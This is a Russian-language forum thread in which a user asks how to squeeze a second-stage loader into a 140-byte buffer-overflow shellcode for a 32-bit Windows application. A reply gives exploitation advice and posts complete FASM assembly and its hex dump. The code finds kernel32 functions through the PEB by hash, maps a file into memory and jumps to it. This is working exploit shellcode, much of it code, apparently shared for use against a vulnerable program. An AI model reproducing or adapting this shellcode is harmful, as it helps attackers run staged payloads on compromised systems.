Минимальный шеллкод для чтения

Тема в разделе "WASM.WIN32", создана пользователем everistic, 24 фев 2019.

  1. everistic

    everistic New Member

    Публикаций:
    0
    Регистрация:
    24 май 2018
    Сообщения:
    8
    Доброго времени суток!
    Постигаю дзен в вопросох написания шк и столкнулся с проблемой:
    Есть уязвимое приложение с обычным BoF НО место для шк в нем очень ограничено - всего 140 байт.
    Хотел бы запихать туда рабочий runpe метод (запуск приложения из памяти)

    Очевидно, что не влезет в чистом виде, egghunt не вариант (данные >140 байт безвозвратно уходят и на них джамп не сделаешь)

    Решил поступить так: второй стейдж лежит в файле, при помощи createfile + mapview и т.д. стейдж маппится в память и туда делается jmp

    Размер имени файла - 10 байт (т.е. всего остается 130 байт места). Функции и либа ищутся динамически через peb

    Вопрос: реально ли поместиться в такой размер? (Вопрос задаю потому что у меня, нуба, уходит за 200 байт)
    Буду благодарен очень за примеры живые, возможно варианты очень сжатых алгоритмов поиска или хэширования (поиск функции и либы по хэшу)
     
  2. Thetrik

    Thetrik UA6527P

    Публикаций:
    0
    Регистрация:
    25 июл 2011
    Сообщения:
    875
    У апп ASLR включен? Апп 32/64? Возможно есть уже готовые адреса, как минимум CreateFile должен быть? Там по стеку посмотреть адреса в пределах модуля и по смещению уже получить на импорт.
    Код необязательно располагать в пределах 140 байт, а сам код может быть в другой части уязвимых данных, там по стеку посмотреть где они лежат и уже джампить в ту часть.
     
  3. everistic

    everistic New Member

    Публикаций:
    0
    Регистрация:
    24 май 2018
    Сообщения:
    8
    Aslr включен, dep нет, приложение 32-битное. Насчет createfile не особо понял. Типа динамически искать в разных модулях вызов и его уже использовать?

    Когда доходит до переполнения адрес eip перезаписывается на адрес - начало тех данных которые переполняют стек. Т.е. для переполнения нужно 140 байт -> и места 140 байт.
    Как в этих условиях найти куда улетела остальная часть кода? (Стандартный search тем же windbg не находит ничего)

    P.S. да и вопрос больше из разряда "а можно ли ужать именно этот способ в указанный размер"
     
  4. Thetrik

    Thetrik UA6527P

    Публикаций:
    0
    Регистрация:
    25 июл 2011
    Сообщения:
    875
    Ну у тебя есть уязвимая аппликуха, вот при экплуатации смотри в стеке где у тебя значения указывающие в пределах модуля есть. К примеру по смещению ESP+0x1000 лежит указатель на какую-нибудь функцию внутри этого модуля. Дальше смотри относительно этого смещения указатель на запись в IAT на функцию CreateFile (если только конечно модуль её импортирует).
    А если переписать больше? Другой момент, данные откуда перезаписываются в стек? Вот там не лежат ли они целиком? Вот туда и прыгай.
    Потрассируй код, там будет понятно откуда данные пишутся.
    --- Сообщение объединено, 24 фев 2019 ---
    Код (ASM):
    1.  
    2. format PE GUI
    3. entry Startup
    4. include 'win32wx.inc'
    5. section '.text' code readable executable
    6. Startup:
    7.     mov edi, 0xF60023BC
    8.     call GetModuleHandle
    9.     push eax
    10.     push eax
    11.     mov edi, eax
    12.     mov ebp, 0x7C788104
    13.     call GetProcAddress
    14.     stdcall eax, "file", 0x10000000, 0, 0, 3, 0x80, 0
    15.     pop edi
    16.     push eax
    17.     mov ebp, 0x8512D0F7
    18.     call GetProcAddress
    19.     pop ecx
    20.     stdcall eax, ecx, 0, 0x40, 0, 0, 0
    21.     pop edi
    22.     push eax
    23.     mov ebp, 0xE6CA1802
    24.     call GetProcAddress
    25.     pop edi
    26.     stdcall eax, edi, 0xF001F, 0, 0, 0
    27.     jmp eax
    28. retn
    29. prologue@proc equ
    30. epilogue@proc equ
    31. GetProcAddress:
    32.     mov eax, [edi + 0x3c]
    33.     mov eax, [edi + eax + 0x78]
    34.     lea eax, [eax + edi]
    35.     push eax
    36.     mov ecx, [eax + 0x18]
    37.     mov eax, [eax + 0x20]
    38.     add eax, edi
    39.     dec ecx
    40.     l_f:
    41.         mov esi, [eax + ecx * 4]
    42.         add esi, edi
    43.         xor edx, edx
    44.         @@:
    45.             movzx ebx, byte [esi]
    46.             rol edx, 7
    47.             xor edx, ebx
    48.             inc esi
    49.             test ebx, ebx
    50.         jne @b
    51.         .if edx = ebp
    52.             pop eax
    53.             mov ebx, [eax + 0x24]
    54.             lea ebx, [ebx + ecx * 2]
    55.             add ebx, edi
    56.             movzx ecx, word [ebx]
    57.             mov eax, [eax + 0x1c]
    58.             add eax, edi
    59.             mov eax, [eax + ecx * 4]
    60.             add eax, edi
    61.             retn
    62.         .endif
    63.     loop l_f
    64.     pop eax
    65.     xor eax, eax
    66. retn
    67. GetModuleHandle:
    68.     mov eax, [FS : 0x30]
    69.     mov eax, [eax + 0x0c]
    70.     lea ebp, [eax + 0x0c]
    71.     mov eax, [ebp]
    72.     .repeat
    73.         mov esi, [eax + 0x30]
    74.         movzx ecx, word [eax + 0x2c]
    75.         xor edx, edx
    76.         dec ecx
    77.         @@:
    78.             movzx ebx, byte [esi + ecx - 1]
    79.             rol edx, 7
    80.             xor edx, ebx
    81.         loop @b
    82.         .if edx = edi
    83.             mov eax, [eax + 0x18]
    84.             retn
    85.         .endif
    86.         mov eax, [eax]
    87.     .until ebp = eax
    88.     xor eax, eax
    89. retn
    90.  
    Код (Text):
    1. 0000h: BF BC 23 00 F6 E8 B3 00 00 00 50 50 89 C7 BD 04  їј#.циі...PP‰ЗЅ.
    2. 0010h: 81 78 7C E8 5C 00 00 00 6A 00 68 80 00 00 00 6A  Ѓx|и\...j.hЂ...j
    3. 0020h: 03 6A 00 6A 00 68 00 00 00 10 90 E8 0A 00 00 00  .j.j.h....ђи....
    4. 0030h: 66 00 69 00 6C 00 65 00 00 00 FF D0 5F 50 BD F7  f.i.l.e...яР_PЅч
    5. 0040h: D0 12 85 E8 2C 00 00 00 59 6A 00 6A 00 6A 00 6A  Р.…и,...Yj.j.j.j
    6. 0050h: 40 6A 00 51 FF D0 5F 50 BD 02 18 CA E6 E8 12 00  @j.QяР_PЅ..Кжи..
    7. 0060h: 00 00 5F 6A 00 6A 00 6A 00 68 1F 00 0F 00 57 FF  .._j.j.j.h....Wя
    8. 0070h: D0 FF E0 C3 8B 47 3C 8B 44 07 78 8D 04 38 50 8B  РяаГ‹G<‹D.xЌ.8P‹
    9. 0080h: 48 18 8B 40 20 01 F8 49 8B 34 88 01 FE 31 D2 0F  H.‹@ .шI‹4€.ю1Т.
    10. 0090h: B6 1E C1 C2 07 31 DA 46 85 DB 75 F3 39 EA 75 17  ¶.БВ.1ЪF…Ыuу9кu.
    11. 00A0h: 58 8B 58 24 8D 1C 4B 01 FB 0F B7 0B 8B 40 1C 01  X‹X$Ќ.K.ы.·.‹@..
    12. 00B0h: F8 8B 04 88 01 F8 C3 E2 CF 58 31 C0 C3 64 A1 30  ш‹.€.шГвПX1АГdЎ0
    13. 00C0h: 00 00 00 8B 40 0C 8D 68 0C 8B 45 00 8B 70 30 0F  ...‹@.Ќh.‹E.‹p0.
    14. 00D0h: B7 48 2C 31 D2 49 0F B6 5C 0E FF C1 C2 07 31 DA  ·H,1ТI.¶\.яБВ.1Ъ
    15. 00E0h: E2 F4 39 FA 75 04 8B 40 18 C3 8B 00 39 C5 75 DC  вф9ъu.‹@.Г‹.9ЕuЬ
    16. 00F0h: 31 C0 C3                                         1АГ
    17.